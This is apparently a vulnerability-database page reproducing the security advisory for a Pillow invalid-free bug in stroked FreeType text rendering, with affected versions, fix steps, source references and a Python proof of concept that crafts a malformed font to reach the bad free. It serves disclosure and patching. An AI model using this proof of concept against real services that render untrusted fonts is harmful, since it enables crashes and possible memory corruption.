Pillow: Invalid free in FreeType glyph rendering when a stroker is active
CVE-2026-112893 · GHSA-j4m9-6w36-pw47 · published 21 Oct 2026
How serious is it
- Severity: high, CVSS score 8.2 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-112893?
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Who is affected
pillow(PyPI) >= 10.0.0, < 13.0.0
How to check
- Run
pip show pillowin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
pillowto 13.0.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.
### Details
`glyph` is declared without a NULL initializer:
- `src/_imagingft.c:848`
The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:
- `src/_imagingft.c:1010-1013`
In the render loop the glyph is freed at the end of each iteration and not set back to NULL:
- `src/_imagingft.c:1242`
The cleanup frees it whenever a stroker exists:
- `src/_imagingft.c:1253-1256`
`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.
### PoC
This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.
```python
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw
SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()
raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
rec = 12 + i * 16
tag = bytes(raw[rec:rec+4]).decode("latin-1")
off, length = struct.unpack(">II", raw[rec+8:rec+16])
tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)
f = ImageFont.truetype("evil.ttf", 20) # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer
```
Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).
### Impact
Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.
Check your whole app
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References
- github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47
- nvd.nist.gov/vuln/detail/CVE-2026-112893
- github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13
- github.com/python-pillow/Pillow/releases/tag/13.0.0
- github.com/advisories/GHSA-j4m9-6w36-pw47
- github.com/python-pillow/Pillow
Merged from GitHub Advisory Database, OSV. Last updated 25 Oct 2026. All vulnerabilities · RSS · JSON